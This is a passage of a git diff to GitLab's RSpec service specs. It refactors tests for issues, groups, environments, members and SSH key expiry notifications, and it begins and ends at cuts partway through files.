+++ b/spec/services/draft_notes/publish_service_spec.rb
@@ -229,7 +229,7 @@ RSpec.describe DraftNotes::PublishService do
expect(DraftNote.count).to eq(2)
end
- context 'with quick actions' do
+ context 'with quick actions', :sidekiq_inline do
it 'performs quick actions' do
other_user = create(:user)
project.add_developer(other_user)
diff --git a/spec/services/environments/auto_stop_service_spec.rb b/spec/services/environments/auto_stop_service_spec.rb
index 8e56c7e642c..93b1596586f 100644
--- a/spec/services/environments/auto_stop_service_spec.rb
+++ b/spec/services/environments/auto_stop_service_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe Environments::AutoStopService, :clean_gitlab_redis_shared_state d
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { create(:user) }
+
let(:service) { described_class.new }
before_all do
@@ -19,6 +20,7 @@ RSpec.describe Environments::AutoStopService, :clean_gitlab_redis_shared_state d
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { create(:user) }
+
let(:environments) { Environment.all }
before_all do
diff --git a/spec/services/environments/canary_ingress/update_service_spec.rb b/spec/services/environments/canary_ingress/update_service_spec.rb
index 5ba62e7104c..0e72fff1ed2 100644
--- a/spec/services/environments/canary_ingress/update_service_spec.rb
+++ b/spec/services/environments/canary_ingress/update_service_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe Environments::CanaryIngress::UpdateService, :clean_gitlab_redis_c
let_it_be(:project, refind: true) { create(:project) }
let_it_be(:maintainer) { create(:user) }
let_it_be(:reporter) { create(:user) }
+
let(:user) { maintainer }
let(:params) { {} }
let(:service) { described_class.new(project, user, params) }
diff --git a/spec/services/environments/reset_auto_stop_service_spec.rb b/spec/services/environments/reset_auto_stop_service_spec.rb
index cab1bf2cc26..4a0b091c12d 100644
--- a/spec/services/environments/reset_auto_stop_service_spec.rb
+++ b/spec/services/environments/reset_auto_stop_service_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Environments::ResetAutoStopService do
let_it_be(:project) { create(:project) }
let_it_be(:developer) { create(:user).tap { |user| project.add_developer(user) } }
let_it_be(:reporter) { create(:user).tap { |user| project.add_reporter(user) } }
+
let(:user) { developer }
let(:service) { described_class.new(project, user) }
diff --git a/spec/services/groups/auto_devops_service_spec.rb b/spec/services/groups/auto_devops_service_spec.rb
index 3d89ee96823..486a99dd8df 100644
--- a/spec/services/groups/auto_devops_service_spec.rb
+++ b/spec/services/groups/auto_devops_service_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Groups::AutoDevopsService, '#execute' do
let_it_be(:group) { create(:group) }
let_it_be(:user) { create(:user) }
+
let(:group_params) { { auto_devops_enabled: '0' } }
let(:service) { described_class.new(group, user, group_params) }
diff --git a/spec/services/groups/group_links/update_service_spec.rb b/spec/services/groups/group_links/update_service_spec.rb
index 436cdf89a0f..82c4a10f15a 100644
--- a/spec/services/groups/group_links/update_service_spec.rb
+++ b/spec/services/groups/group_links/update_service_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe Groups::GroupLinks::UpdateService, '#execute' do
let_it_be(:group) { create(:group, :private) }
let_it_be(:shared_group) { create(:group, :private) }
let_it_be(:project) { create(:project, group: shared_group) }
+
let(:group_member_user) { create(:user) }
let!(:link) { create(:group_group_link, shared_group: shared_group, shared_with_group: group) }
diff --git a/spec/services/groups/merge_requests_count_service_spec.rb b/spec/services/groups/merge_requests_count_service_spec.rb
new file mode 100644
index 00000000000..10c7ba5fca4
--- /dev/null
+++ b/spec/services/groups/merge_requests_count_service_spec.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Groups::MergeRequestsCountService, :use_clean_rails_memory_store_caching do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:group) { create(:group, :public)}
+ let_it_be(:project) { create(:project, :repository, namespace: group) }
+ let_it_be(:merge_request) { create(:merge_request, source_project: project, target_project: project) }
+
+ subject { described_class.new(group, user) }
+
+ describe '#relation_for_count' do
+ before do
+ group.add_reporter(user)
+ allow(MergeRequestsFinder).to receive(:new).and_call_original
+ end
+
+ it 'uses the MergeRequestsFinder to scope merge requests' do
+ expect(MergeRequestsFinder)
+ .to receive(:new)
+ .with(user, group_id: group.id, state: 'opened', non_archived: true, include_subgroups: true)
+
+ subject.count
+ end
+ end
+
+ it_behaves_like 'a counter caching service with threshold'
+end
diff --git a/spec/services/groups/open_issues_count_service_spec.rb b/spec/services/groups/open_issues_count_service_spec.rb
index 8bbb1c90c6b..740e9846119 100644
--- a/spec/services/groups/open_issues_count_service_spec.rb
+++ b/spec/services/groups/open_issues_count_service_spec.rb
@@ -54,53 +54,7 @@ RSpec.describe Groups::OpenIssuesCountService, :use_clean_rails_memory_store_cac
end
end
- context 'with different cache values' do
- let(:public_count_key) { subject.cache_key(described_class::PUBLIC_COUNT_KEY) }
- let(:under_threshold) { described_class::CACHED_COUNT_THRESHOLD - 1 }
- let(:over_threshold) { described_class::CACHED_COUNT_THRESHOLD + 1 }
-
- context 'when cache is empty' do
- before do
- Rails.cache.delete(public_count_key)
- end
-
- it 'refreshes cache if value over threshold' do
- allow(subject).to receive(:uncached_count).and_return(over_threshold)
-
- expect(subject.count).to eq(over_threshold)
- expect(Rails.cache.read(public_count_key)).to eq(over_threshold)
- end
-
- it 'does not refresh cache if value under threshold' do
- allow(subject).to receive(:uncached_count).and_return(under_threshold)
-
- expect(subject.count).to eq(under_threshold)
- expect(Rails.cache.read(public_count_key)).to be_nil
- end
- end
-
- context 'when cached count is under the threshold value' do
- before do
- Rails.cache.write(public_count_key, under_threshold)
- end
-
- it 'does not refresh cache' do
- expect(Rails.cache).not_to receive(:write)
- expect(subject.count).to eq(under_threshold)
- end
- end
-
- context 'when cached count is over the threshold value' do
- before do
- Rails.cache.write(public_count_key, over_threshold)
- end
-
- it 'does not refresh cache' do
- expect(Rails.cache).not_to receive(:write)
- expect(subject.count).to eq(over_threshold)
- end
- end
- end
+ it_behaves_like 'a counter caching service with threshold'
end
end
end
diff --git a/spec/services/groups/transfer_service_spec.rb b/spec/services/groups/transfer_service_spec.rb
index 19b746ade34..3a1197970f4 100644
--- a/spec/services/groups/transfer_service_spec.rb
+++ b/spec/services/groups/transfer_service_spec.rb
@@ -5,12 +5,14 @@ require 'spec_helper'
RSpec.describe Groups::TransferService do
let_it_be(:user) { create(:user) }
let_it_be(:new_parent_group) { create(:group, :public) }
+
let!(:group_member) { create(:group_member, :owner, group: group, user: user) }
let(:transfer_service) { described_class.new(group, user) }
context 'handling packages' do
let_it_be(:group) { create(:group, :public) }
let_it_be(:new_group) { create(:group, :public) }
+
let(:project) { create(:project, :public, namespace: group) }
before do
@@ -272,6 +274,7 @@ RSpec.describe Groups::TransferService do
context 'with a group integration' do
let_it_be(:instance_integration) { create(:slack_service, :instance, webhook: 'http://project.slack.com') }
+
let(:new_created_integration) { Service.find_by(group: group) }
context 'with an inherited integration' do
diff --git a/spec/services/groups/update_shared_runners_service_spec.rb b/spec/services/groups/update_shared_runners_service_spec.rb
index e2838c4ce0b..e941958eb8c 100644
--- a/spec/services/groups/update_shared_runners_service_spec.rb
+++ b/spec/services/groups/update_shared_runners_service_spec.rb
@@ -59,6 +59,7 @@ RSpec.describe Groups::UpdateSharedRunnersService do
context 'disable shared Runners' do
let_it_be(:group) { create(:group) }
+
let(:params) { { shared_runners_setting: 'disabled_and_unoverridable' } }
it 'receives correct method and succeeds' do
diff --git a/spec/services/ide/base_config_service_spec.rb b/spec/services/ide/base_config_service_spec.rb
index debdc6e5809..ee57f2c18ec 100644
--- a/spec/services/ide/base_config_service_spec.rb
+++ b/spec/services/ide/base_config_service_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Ide::BaseConfigService do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { create(:user) }
+
let(:sha) { 'sha' }
describe '#execute' do
diff --git a/spec/services/ide/schemas_config_service_spec.rb b/spec/services/ide/schemas_config_service_spec.rb
index 19e5ca9e87d..69ad9b5cbea 100644
--- a/spec/services/ide/schemas_config_service_spec.rb
+++ b/spec/services/ide/schemas_config_service_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Ide::SchemasConfigService do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { create(:user) }
+
let(:filename) { 'sample.yml' }
let(:schema_content) { double(body: '{"title":"Sample schema"}') }
diff --git a/spec/services/ide/terminal_config_service_spec.rb b/spec/services/ide/terminal_config_service_spec.rb
index d6c4f7a2a69..483b6413be3 100644
--- a/spec/services/ide/terminal_config_service_spec.rb
+++ b/spec/services/ide/terminal_config_service_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Ide::TerminalConfigService do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { create(:user) }
+
let(:sha) { 'sha' }
describe '#execute' do
@@ -47,6 +48,7 @@ RSpec.describe Ide::TerminalConfigService do
terminal: {
tag_list: [],
yaml_variables: [],
+ job_variables: [],
options: { script: ["sleep 60"] }
})
end
@@ -61,6 +63,7 @@ RSpec.describe Ide::TerminalConfigService do
terminal: {
tag_list: [],
yaml_variables: [],
+ job_variables: [],
options: { before_script: ["ls"], script: ["sleep 60"] }
})
end
diff --git a/spec/services/issuable/destroy_service_spec.rb b/spec/services/issuable/destroy_service_spec.rb
index 8d62932f986..fadab77a043 100644
--- a/spec/services/issuable/destroy_service_spec.rb
+++ b/spec/services/issuable/destroy_service_spec.rb
@@ -9,6 +9,32 @@ RSpec.describe Issuable::DestroyService do
subject(:service) { described_class.new(project, user) }
describe '#execute' do
+ shared_examples_for 'service deleting todos' do
+ it 'destroys associated todos asynchronously' do
+ expect(TodosDestroyer::DestroyedIssuableWorker)
+ .to receive(:perform_async)
+ .with(issuable.id, issuable.class.name)
+
+ subject.execute(issuable)
+ end
+
+ context 'when destroy_issuable_todos_async feature is disabled' do
+ before do
+ stub_feature_flags(destroy_issuable_todos_async: false)
+ end
+
+ it 'destroy associated todos synchronously' do
+ expect_next_instance_of(TodosDestroyer::DestroyedIssuableWorker) do |worker|
+ expect(worker)
+ .to receive(:perform)
+ .with(issuable.id, issuable.class.name)
+ end
+
+ subject.execute(issuable)
+ end
+ end
+ end
+
context 'when issuable is an issue' do
let!(:issue) { create(:issue, project: project, author: user, assignees: [user]) }
@@ -22,17 +48,14 @@ RSpec.describe Issuable::DestroyService do
service.execute(issue)
end
- it 'updates the todo caches for users with todos on the issue' do
- create(:todo, target: issue, user: user, author: user, project: project)
-
- expect { service.execute(issue) }
- .to change { user.todos_pending_count }.from(1).to(0)
- end
-
it 'invalidates the issues count cache for the assignees' do
expect_any_instance_of(User).to receive(:invalidate_cache_counts).once
service.execute(issue)
end
+
+ it_behaves_like 'service deleting todos' do
+ let(:issuable) { issue }
+ end
end
context 'when issuable is a merge request' do
@@ -53,11 +76,8 @@ RSpec.describe Issuable::DestroyService do
service.execute(merge_request)
end
- it 'updates the todo caches for users with todos on the merge request' do
- create(:todo, target: merge_request, user: user, author: user, project: project)
-
- expect { service.execute(merge_request) }
- .to change { user.todos_pending_count }.from(1).to(0)
+ it_behaves_like 'service deleting todos' do
+ let(:issuable) { merge_request }
end
end
end
diff --git a/spec/services/issuable/process_assignees_spec.rb b/spec/services/issuable/process_assignees_spec.rb
index 876c84957cc..45d57a1772a 100644
--- a/spec/services/issuable/process_assignees_spec.rb
+++ b/spec/services/issuable/process_assignees_spec.rb
@@ -4,10 +4,10 @@ require 'spec_helper'
RSpec.describe Issuable::ProcessAssignees do
describe '#execute' do
- it 'returns assignee_ids when assignee_ids are specified' do
+ it 'returns assignee_ids when add_assignee_ids and remove_assignee_ids are not specified' do
process = Issuable::ProcessAssignees.new(assignee_ids: %w(5 7 9),
- add_assignee_ids: %w(2 4 6),
- remove_assignee_ids: %w(4 7 11),
+ add_assignee_ids: nil,
+ remove_assignee_ids: nil,
existing_assignee_ids: %w(1 3 9),
extra_assignee_ids: %w(2 5 12))
result = process.execute
@@ -15,19 +15,19 @@ RSpec.describe Issuable::ProcessAssignees do
expect(result.sort).to eq(%w(5 7 9).sort)
end
- it 'combines other ids when assignee_ids is empty' do
- process = Issuable::ProcessAssignees.new(assignee_ids: [],
- add_assignee_ids: %w(2 4 6),
- remove_assignee_ids: %w(4 7 11),
+ it 'combines other ids when assignee_ids is nil' do
+ process = Issuable::ProcessAssignees.new(assignee_ids: nil,
+ add_assignee_ids: nil,
+ remove_assignee_ids: nil,
existing_assignee_ids: %w(1 3 11),
extra_assignee_ids: %w(2 5 12))
result = process.execute
- expect(result.sort).to eq(%w(1 2 3 5 6 12).sort)
+ expect(result.sort).to eq(%w(1 2 3 5 11 12).sort)
end
- it 'combines other ids when assignee_ids is nil' do
- process = Issuable::ProcessAssignees.new(assignee_ids: nil,
+ it 'combines other ids when both add_assignee_ids and remove_assignee_ids are not empty' do
+ process = Issuable::ProcessAssignees.new(assignee_ids: %w(5 7 9),
add_assignee_ids: %w(2 4 6),
remove_assignee_ids: %w(4 7 11),
existing_assignee_ids: %w(1 3 11),
@@ -37,8 +37,8 @@ RSpec.describe Issuable::ProcessAssignees do
expect(result.sort).to eq(%w(1 2 3 5 6 12).sort)
end
- it 'combines other ids when assignee_ids and add_assignee_ids are nil' do
- process = Issuable::ProcessAssignees.new(assignee_ids: nil,
+ it 'combines other ids when remove_assignee_ids is not empty' do
+ process = Issuable::ProcessAssignees.new(assignee_ids: %w(5 7 9),
add_assignee_ids: nil,
remove_assignee_ids: %w(4 7 11),
existing_assignee_ids: %w(1 3 11),
@@ -48,8 +48,8 @@ RSpec.describe Issuable::ProcessAssignees do
expect(result.sort).to eq(%w(1 2 3 5 12).sort)
end
- it 'combines other ids when assignee_ids and remove_assignee_ids are nil' do
- process = Issuable::ProcessAssignees.new(assignee_ids: nil,
+ it 'combines other ids when add_assignee_ids is not empty' do
+ process = Issuable::ProcessAssignees.new(assignee_ids: %w(5 7 9),
add_assignee_ids: %w(2 4 6),
remove_assignee_ids: nil,
existing_assignee_ids: %w(1 3 11),
@@ -59,8 +59,8 @@ RSpec.describe Issuable::ProcessAssignees do
expect(result.sort).to eq(%w(1 2 4 3 5 6 11 12).sort)
end
- it 'combines ids when only add_assignee_ids and remove_assignee_ids are passed' do
- process = Issuable::ProcessAssignees.new(assignee_ids: nil,
+ it 'combines ids when existing_assignee_ids and extra_assignee_ids are omitted' do
+ process = Issuable::ProcessAssignees.new(assignee_ids: %w(5 7 9),
add_assignee_ids: %w(2 4 6),
remove_assignee_ids: %w(4 7 11))
result = process.execute
diff --git a/spec/services/issue_links/create_service_spec.rb b/spec/services/issue_links/create_service_spec.rb
index 873890d25cf..1bca717acb7 100644
--- a/spec/services/issue_links/create_service_spec.rb
+++ b/spec/services/issue_links/create_service_spec.rb
@@ -24,7 +24,7 @@ RSpec.describe IssueLinks::CreateService do
end
it 'returns error' do
- is_expected.to eq(message: 'No Issue found for given params', status: :error, http_status: 404)
+ is_expected.to eq(message: 'No matching issue found. Make sure that you are adding a valid issue URL.', status: :error, http_status: 404)
end
end
@@ -34,7 +34,7 @@ RSpec.describe IssueLinks::CreateService do
end
it 'returns error' do
- is_expected.to eq(message: 'No Issue found for given params', status: :error, http_status: 404)
+ is_expected.to eq(message: 'No matching issue found. Make sure that you are adding a valid issue URL.', status: :error, http_status: 404)
end
it 'no relationship is created' do
@@ -52,7 +52,7 @@ RSpec.describe IssueLinks::CreateService do
it 'returns error' do
target_issuable.project.add_guest(user)
- is_expected.to eq(message: 'No Issue found for given params', status: :error, http_status: 404)
+ is_expected.to eq(message: 'No matching issue found. Make sure that you are adding a valid issue URL.', status: :error, http_status: 404)
end
it 'no relationship is created' do
diff --git a/spec/services/issues/after_create_service_spec.rb b/spec/services/issues/after_create_service_spec.rb
new file mode 100644
index 00000000000..bc9be3211d3
--- /dev/null
+++ b/spec/services/issues/after_create_service_spec.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Issues::AfterCreateService do
+ include AfterNextHelpers
+
+ let_it_be(:project) { create(:project) }
+ let_it_be(:current_user) { create(:user) }
+ let_it_be(:assignee) { create(:user) }
+ let_it_be(:milestone) { create(:milestone, project: project) }
+ let_it_be(:issue) { create(:issue, project: project, author: current_user, milestone: milestone, assignee_ids: [assignee.id]) }
+
+ subject(:after_create_service) { described_class.new(project, current_user) }
+
+ describe '#execute' do
+ it 'creates a pending todo for new assignee' do
+ attributes = {
+ project: project,
+ author: current_user,
+ user: assignee,
+ target_id: issue.id,
+ target_type: issue.class.name,
+ action: Todo::ASSIGNED,
+ state: :pending
+ }
+
+ expect { after_create_service.execute(issue) }.to change { Todo.where(attributes).count }.by(1)
+ end
+
+ it 'deletes milestone issues count cache' do
+ expect_next(Milestones::IssuesCountService, milestone)
+ .to receive(:delete_cache).and_call_original
+
+ after_create_service.execute(issue)
+ end
+
+ context 'with a regular issue' do
+ it_behaves_like 'does not track incident management event', :incident_management_incident_created do
+ subject { after_create_service.execute(issue) }
+ end
+ end
+
+ context 'with an incident issue' do
+ let(:issue) { create(:issue, :incident, project: project, author: current_user) }
+
+ it_behaves_like 'an incident management tracked event', :incident_management_incident_created do
+ subject { after_create_service.execute(issue) }
+ end
+ end
+ end
+end
diff --git a/spec/services/issues/build_service_spec.rb b/spec/services/issues/build_service_spec.rb
index 16433d49ca1..80fe2474ecd 100644
--- a/spec/services/issues/build_service_spec.rb
+++ b/spec/services/issues/build_service_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Issues::BuildService do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:developer) { create(:user) }
let_it_be(:guest) { create(:user) }
+
let(:user) { developer }
before_all do
diff --git a/spec/services/issues/clone_service_spec.rb b/spec/services/issues/clone_service_spec.rb
index 9ceb4ffeec5..44180a322ca 100644
--- a/spec/services/issues/clone_service_spec.rb
+++ b/spec/services/issues/clone_service_spec.rb
@@ -242,6 +242,7 @@ RSpec.describe Issues::CloneService do
context 'issue with a design', :clean_gitlab_redis_shared_state do
let_it_be(:new_project) { create(:project) }
+
let!(:design) { create(:design, :with_lfs_file, issue: old_issue) }
let!(:note) { create(:diff_note_on_design, noteable: design, issue: old_issue, project: old_issue.project) }
let(:subject) { clone_service.execute(old_issue, new_project) }
diff --git a/spec/services/issues/create_service_spec.rb b/spec/services/issues/create_service_spec.rb
index d548e5ee74a..83c6373c335 100644
--- a/spec/services/issues/create_service_spec.rb
+++ b/spec/services/issues/create_service_spec.rb
@@ -3,12 +3,15 @@
require 'spec_helper'
RSpec.describe Issues::CreateService do
+ include AfterNextHelpers
+
let_it_be_with_reload(:project) { create(:project) }
let_it_be(:user) { create(:user) }
describe '#execute' do
let_it_be(:assignee) { create(:user) }
let_it_be(:milestone) { create(:milestone, project: project) }
+
let(:issue) { described_class.new(project, user, opts).execute }
context 'when params are valid' do
@@ -64,7 +67,6 @@ RSpec.describe Issues::CreateService do
it_behaves_like 'incident issue'
it_behaves_like 'has incident label'
- it_behaves_like 'an incident management tracked event', :incident_management_incident_created
it 'does create an incident label' do
expect { subject }
@@ -112,20 +114,6 @@ RSpec.describe Issues::CreateService do
end
end
- it 'creates a pending todo for new assignee' do
- attributes = {
- project: project,
- author: user,
- user: assignee,
- target_id: issue.id,
- target_type: issue.class.name,
- action: Todo::ASSIGNED,
- state: :pending
- }
-
- expect(Todo.where(attributes).count).to eq 1
- end
-
it 'moves the issue to the end, in an asynchronous worker' do
expect(IssuePlacementWorker).to receive(:perform_async).with(be_nil, Integer)
@@ -279,14 +267,6 @@ RSpec.describe Issues::CreateService do
end
end
- it 'deletes milestone issues count cache' do
- expect_next_instance_of(Milestones::IssuesCountService, milestone) do |service|
- expect(service).to receive(:delete_cache).and_call_original
- end
-
- issue
- end
-
it 'schedules a namespace onboarding create action worker' do
expect(Namespaces::OnboardingIssueCreatedWorker).to receive(:perform_async).with(project.namespace.id)
@@ -458,7 +438,7 @@ RSpec.describe Issues::CreateService do
end
context 'checking spam' do
- let(:request) { double(:request) }
+ let(:request) { double(:request, headers: nil) }
let(:api) { true }
let(:captcha_response) { 'abc123' }
let(:spam_log_id) { 1 }
diff --git a/spec/services/issues/export_csv_service_spec.rb b/spec/services/issues/export_csv_service_spec.rb
index d199f825276..d04480bec18 100644
--- a/spec/services/issues/export_csv_service_spec.rb
+++ b/spec/services/issues/export_csv_service_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe Issues::ExportCsvService do
let_it_be(:project) { create(:project, :public, group: group) }
let_it_be(:issue) { create(:issue, project: project, author: user) }
let_it_be(:bad_issue) { create(:issue, project: project, author: user) }
+
subject { described_class.new(Issue.all, project) }
it 'renders csv to string' do
diff --git a/spec/services/issues/move_service_spec.rb b/spec/services/issues/move_service_spec.rb
index eb124f07900..2f29a2e2022 100644
--- a/spec/services/issues/move_service_spec.rb
+++ b/spec/services/issues/move_service_spec.rb
@@ -206,6 +206,7 @@ RSpec.describe Issues::MoveService do
context 'issue with a design', :clean_gitlab_redis_shared_state do
let_it_be(:new_project) { create(:project) }
+
let!(:design) { create(:design, :with_lfs_file, issue: old_issue) }
let!(:note) { create(:diff_note_on_design, noteable: design, issue: old_issue, project: old_issue.project) }
let(:subject) { move_service.execute(old_issue, new_project) }
diff --git a/spec/services/issues/related_branches_service_spec.rb b/spec/services/issues/related_branches_service_spec.rb
index a8a1f95e800..c9c029bca4f 100644
--- a/spec/services/issues/related_branches_service_spec.rb
+++ b/spec/services/issues/related_branches_service_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Issues::RelatedBranchesService do
let_it_be(:developer) { create(:user) }
let_it_be(:issue) { create(:issue) }
+
let(:user) { developer }
subject { described_class.new(issue.project, user) }
diff --git a/spec/services/keys/expiry_notification_service_spec.rb b/spec/services/keys/expiry_notification_service_spec.rb
new file mode 100644
index 00000000000..1d1da179cf7
--- /dev/null
+++ b/spec/services/keys/expiry_notification_service_spec.rb
@@ -0,0 +1,97 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Keys::ExpiryNotificationService do
+ let_it_be_with_reload(:user) { create(:user) }
+
+ let(:params) { { keys: user.keys, expiring_soon: expiring_soon } }
+
+ subject { described_class.new(user, params) }
+
+ shared_examples 'sends a notification' do
+ it do
+ perform_enqueued_jobs do
+ subject.execute
+ end
+ should_email(user)
+ end
+ end
+
+ shared_examples 'uses notification service to send email to the user' do |notification_method|
+ it do
+ expect_next_instance_of(NotificationService) do |notification_service|
+ expect(notification_service).to receive(notification_method).with(key.user, [key.fingerprint])
+ end
+
+ subject.execute
+ end
+ end
+
+ shared_examples 'does not send notification' do
+ it do
+ perform_enqueued_jobs do
+ subject.execute
+ end
+ should_not_email(user)
+ end
+ end
+
+ shared_context 'block user' do
+ before do
+ user.block!
+ end
+ end
+
+ context 'with key expiring today', :mailer do
+ let_it_be_with_reload(:key) { create(:key, expires_at: Time.current, user: user) }
+
+ let(:expiring_soon) { false }
+
+ context 'when user has permission to receive notification' do
+ it_behaves_like 'sends a notification'
+
+ it_behaves_like 'uses notification service to send email to the user', :ssh_key_expired
+
+ it 'updates notified column' do
+ expect { subject.execute }.to change { key.reload.expiry_notification_delivered_at }
+ end
+ end
+
+ context 'when user does NOT have permission to receive notification' do
+ include_context 'block user'
+
+ it_behaves_like 'does not send notification'
+
+ it 'does not update notified column' do
+ expect { subject.execute }.not_to change { key.reload.expiry_notification_delivered_at }
+ end
+ end
+ end
+
+ context 'with key expiring soon', :mailer do
+ let_it_be_with_reload(:key) { create(:key, expires_at: 3.days.from_now, user: user) }
+
+ let(:expiring_soon) { true }
+
+ context 'when user has permission to receive notification' do
+ it_behaves_like 'sends a notification'
+
+ it_behaves_like 'uses notification service to send email to the user', :ssh_key_expiring_soon
+
+ it 'updates notified column' do
+ expect { subject.execute }.to change { key.reload.before_expiry_notification_delivered_at }
+ end
+ end
+
+ context 'when user does NOT have permission to receive notification' do
+ include_context 'block user'
+
+ it_behaves_like 'does not send notification'
+
+ it 'does not update notified column' do
+ expect { subject.execute }.not_to change { key.reload.before_expiry_notification_delivered_at }
+ end
+ end
+ end
+end
diff --git a/spec/services/members/create_service_spec.rb b/spec/services/members/create_service_spec.rb
index 50efee9f43c..916941e1111 100644
--- a/spec/services/members/create_service_spec.rb
+++ b/spec/services/members/create_service_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Members::CreateService, :clean_gitlab_redis_shared_state, :sidekiq_inline do
+RSpec.describe Members::CreateService, :aggregate_failures, :clean_gitlab_redis_shared_state, :sidekiq_inline do
let_it_be(:source) { create(:project) }
let_it_be(:user) { create(:user) }
let_it_be(:member) { create(:user) }
@@ -10,7 +10,7 @@ RSpec.describe Members::CreateService, :clean_gitlab_redis_shared_state, :sideki
let_it_be(:access_level) { Gitlab::Access::GUEST }
let(:params) { { user_ids: user_ids, access_level: access_level } }
- subject(:execute_service) { described_class.new(user, params).execute(source) }
+ subject(:execute_service) { described_class.new(user, params.merge({ source: source })).execute }
before do
if source.is_a?(Project)
diff --git a/spec/services/members/destroy_service_spec.rb b/spec/services/members/destroy_service_spec.rb
index 4f731ad5852..b9f382d3cd8 100644
--- a/spec/services/members/destroy_service_spec.rb
+++ b/spec/services/members/destroy_service_spec.rb
@@ -289,60 +289,137 @@ RSpec.describe Members::DestroyService do
let(:group_project) { create(:project, :public, group: group) }
let(:control_project) { create(:project, group: subsubgroup) }
- before do
- create(:group_member, :developer, group: subsubgroup, user: member_user)
- create(:project_member, :invited, project: group_project, created_by: member_user)
- create(:group_member, :invited, group: group, created_by: member_user)
- create(:project_member, :invited, project: subsubproject, created_by: member_user)
- create(:group_member, :invited, group: subgroup, created_by: member_user)
+ context 'with memberships' do
+ before do
+ subgroup.add_developer(member_user)
+ subsubgroup.add_developer(member_user)
+ subsubproject.add_developer(member_user)
+ group_project.add_developer(member_user)
+ control_project.add_maintainer(user)
+ group.add_owner(user)
+
+ @group_member = create(:group_member, :developer, group: group, user: member_user)
+ end
- subsubproject.add_developer(member_user)
- control_project.add_maintainer(user)
- group.add_owner(user)
+ context 'with skipping of subresources' do
+ before do
+ described_class.new(user).execute(@group_member, skip_subresources: true)
+ end
- group_member = create(:group_member, :developer, group: group, user: member_user)
+ it 'removes the group membership' do
+ expect(group.members.map(&:user)).not_to include(member_user)
+ end
- described_class.new(user).execute(group_member)
- end
+ it 'does not remove the project membership' do
+ expect(group_project.members.map(&:user)).to include(member_user)
+ end
- it 'removes the project membership' do
- expect(group_project.members.map(&:user)).not_to include(member_user)
- end
+ it 'does not remove the subgroup membership' do
+ expect(subgroup.members.map(&:user)).to include(member_user)
+ end
- it 'removes the group membership' do
- expect(group.members.map(&:user)).not_to include(member_user)
- end
+ it 'does not remove the subsubgroup membership' do
+ expect(subsubgroup.members.map(&:user)).to include(member_user)
+ end
- it 'removes the subgroup membership' do
- expect(subgroup.members.map(&:user)).not_to include(member_user)
- end
+ it 'does not remove the subsubproject membership' do
+ expect(subsubproject.members.map(&:user)).to include(member_user)
+ end
- it 'removes the subsubgroup membership' do
- expect(subsubgroup.members.map(&:user)).not_to include(member_user)
- end
+ it 'does not remove the user from the control project' do
+ expect(control_project.members.map(&:user)).to include(user)
+ end
+ end
- it 'removes the subsubproject membership' do
- expect(subsubproject.members.map(&:user)).not_to include(member_user)
- end
+ context 'without skipping of subresources' do
+ before do
+ described_class.new(user).execute(@group_member, skip_subresources: false)
+ end
- it 'does not remove the user from the control project' do
- expect(control_project.members.map(&:user)).to include(user)
- end
+ it 'removes the project membership' do
+ expect(group_project.members.map(&:user)).not_to include(member_user)
+ end
- it 'removes group members invited by deleted user' do
- expect(group.members.not_accepted_invitations_by_user(member_user)).to be_empty
- end
+ it 'removes the group membership' do
+ expect(group.members.map(&:user)).not_to include(member_user)
+ end
- it 'removes project members invited by deleted user' do
- expect(group_project.members.not_accepted_invitations_by_user(member_user)).to be_empty
- end
+ it 'removes the subgroup membership' do
+ expect(subgroup.members.map(&:user)).not_to include(member_user)
+ end
+
+ it 'removes the subsubgroup membership' do
+ expect(subsubgroup.members.map(&:user)).not_to include(member_user)
+ end
+
+ it 'removes the subsubproject membership' do
+ expect(subsubproject.members.map(&:user)).not_to include(member_user)
+ end
- it 'removes subgroup members invited by deleted user' do
- expect(subgroup.members.not_accepted_invitations_by_user(member_user)).to be_empty
+ it 'does not remove the user from the control project' do
+ expect(control_project.members.map(&:user)).to include(user)
+ end
+ end
end
- it 'removes subproject members invited by deleted user' do
- expect(subsubproject.members.not_accepted_invitations_by_user(member_user)).to be_empty
+ context 'with invites' do
+ before do
+ create(:group_member, :developer, group: subsubgroup, user: member_user)
+ create(:project_member, :invited, project: group_project, created_by: member_user)
+ create(:group_member, :invited, group: group, created_by: member_user)
+ create(:project_member, :invited, project: subsubproject, created_by: member_user)
+ create(:group_member, :invited, group: subgroup, created_by: member_user)
+
+ subsubproject.add_developer(member_user)
+ control_project.add_maintainer(user)
+ group.add_owner(user)
+
+ @group_member = create(:group_member, :developer, group: group, user: member_user)
+ end
+
+ context 'with skipping of subresources' do
+ before do
+ described_class.new(user).execute(@group_member, skip_subresources: true)
+ end
+
+ it 'does not remove group members invited by deleted user' do
+ expect(group.members.not_accepted_invitations_by_user(member_user)).not_to be_empty
+ end
+
+ it 'does not remove project members invited by deleted user' do
+ expect(group_project.members.not_accepted_invitations_by_user(member_user)).not_to be_empty
+ end
+
+ it 'does not remove subgroup members invited by deleted user' do
+ expect(subgroup.members.not_accepted_invitations_by_user(member_user)).not_to be_empty
+ end
+
+ it 'does not remove subproject members invited by deleted user' do
+ expect(subsubproject.members.not_accepted_invitations_by_user(member_user)).not_to be_empty
+ end
+ end
+
+ context 'without skipping of subresources' do
+ before do
